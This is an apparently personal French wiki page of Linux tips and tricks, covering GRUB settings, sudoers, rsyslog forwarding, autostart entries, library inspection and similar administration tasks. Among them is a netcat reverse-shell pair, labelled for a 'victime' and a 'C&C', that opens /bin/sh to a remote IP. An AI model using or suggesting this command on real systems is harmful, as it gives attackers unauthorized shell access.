linux:accueil

Ceci est une ancienne révision du document !


Trucs & Astuces avec Linux

Source

select-editor

Ne s'éteint pas après le message Will shutdown now !

Editer le fichier /etc/default/grub, et adapter la ligne:

GRUB_CMDLINE_LINUX_DEFAULT="quiet reboot=pci"

Notamment de l'installation de Debian. Source

Télécharger une image de Debian, monter l'archive, se placer dans le dossier:

md5sum -c md5sum.txt 2> /dev/null | grep -v Réussi

Cette commande ne doit rien afficher.

Ajouter un utilisateur aux sudoers

Source

sudo adduser <username> sudo

Il faut que le groupe sudo existe et que la ligne suivante existe bien dans le fichier (à changer avec la commande visudo).

/etc/sudoers
%sudo   ALL=(ALL:ALL) ALL

Liste aussi les utilisateurs LDAP, par exemple.

getent passwd
/etc/rsyslog.conf
*.* @ip:port

Envoie tous les logs en UDP vers la machine spécifiée. Deux arobases envoie en TCP.

Relancer le service rsyslog.

Source Sur la victime:

nc -e /bin/sh 172.21.30.2 1026

Sur le C&C:

nc -l 1026

Installer le paquet thunderbird-l10n-fr.

Source

Faire glisser l'icône du Terminal du dossier /usr/share/applications dans le dock.

nohup mon_programme > out.file &

Source

Créer le fichier /etc/profile.d/gnome-qt.sh avec le contenu suivant:

/etc/profile.d/gnome-qt.sh
export QT_AUTO_SCREEN_SCALE_FACTOR=0 

Fonctionne aussi avec le fichier /etc/environment:

/etc/environment
QT_AUTO_SCREEN_SCALE_FACTOR=0 

xdg autostart

Source

/etc/xdg/autostart/myprogram.desktop
[Desktop Entry]
Name=foo
Terminal=false
Exec=/path/shell.sh
Type=Application
Icon=/path/icon.png
Categories=Utility;
sudo date -s "Dec 10 17:45:49"

Source

ps -eo pid,lstart,cmd

Sinon ajouter la colonne qui va bien dans htop.

Source

systemctl poweroff
systemctl reboot

Avec le commande screenfetch, fourni par le paquet éponyme.

Installer le paquet alacarte et utiliser l'application Menu principal.

Installer le paquet ntp.

La commande ntpq -p permet de connaître les serveurs de temps utilisés. Celui représenté par une étoile est celui effectivement utilisé.

Source

Installer le paquet transmission-cli.

transmission-cli <fichier torrent>

L'option -w permet de spécifier le dossier où sera sauvegardé le fichier téléchargé. Par défaut, c'est dans le dossier ~/Downloads.

Connaître les bibliothèques dynamiques directement liée (pas récursif):

readelf -d <binaire>

Connaître toutes les bibliothèques dynamiques:

ldd <binaire>

Voir https://github.com/ncopa/lddtree/blob/master/lddtree.sh pour un affichage récursif.

Source

echo $XDG_SESSION_TYPE
# Savoir si le tracker est actif:
tracker daemon -t
 
# Essayer de supprimer, si ça n'entraîne pas une cascade de suppressions...
sudo apt remove tracker tracker-extract tracker-miner-fs
 
# Sinon, juste désactiver les services (pas en root !):
systemctl --user mask tracker-store.service tracker-miner-fs.service tracker-miner-rss.service tracker-extract.service tracker-miner-apps.service tracker-writeback.service
 
# Supprimer la base de données d'indexation:
tracker reset --hard

Changer le terminal

https://unix.stackexchange.com/questions/336368/how-to-configure-nemos-right-click-open-in-terminal-to-launch-gnome-terminal

gsettings set org.cinnamon.desktop.default-applications.terminal exec terminator

On peut connaître les langues disponibles avec la commande:

locale -a

Puis positionner la variable LANGUAGE:

LANGUAGE=en_US lscpu

Si chsh ne fonctionne pas (source):

sudo usermod -s /bin/zsh philippe

Utiliser le programme beep, ou bien:

echo -ne '\007'

Permet de réserver une partie de la RAM pour être utilisée comme swap.

Notamment quand on rebranche un dock (source):

echo "1" | sudo tee /sys/bus/pci/rescan > /dev/null

Qui ne peut se connecter et qui n'a pas de dossier /home/ (Source) :

useradd -r -s /usr/sbin/nologin nfs-client
  • linux/accueil.1640542001.txt.gz
  • Dernière modification : 2021/12/26 19:06
  • de phsw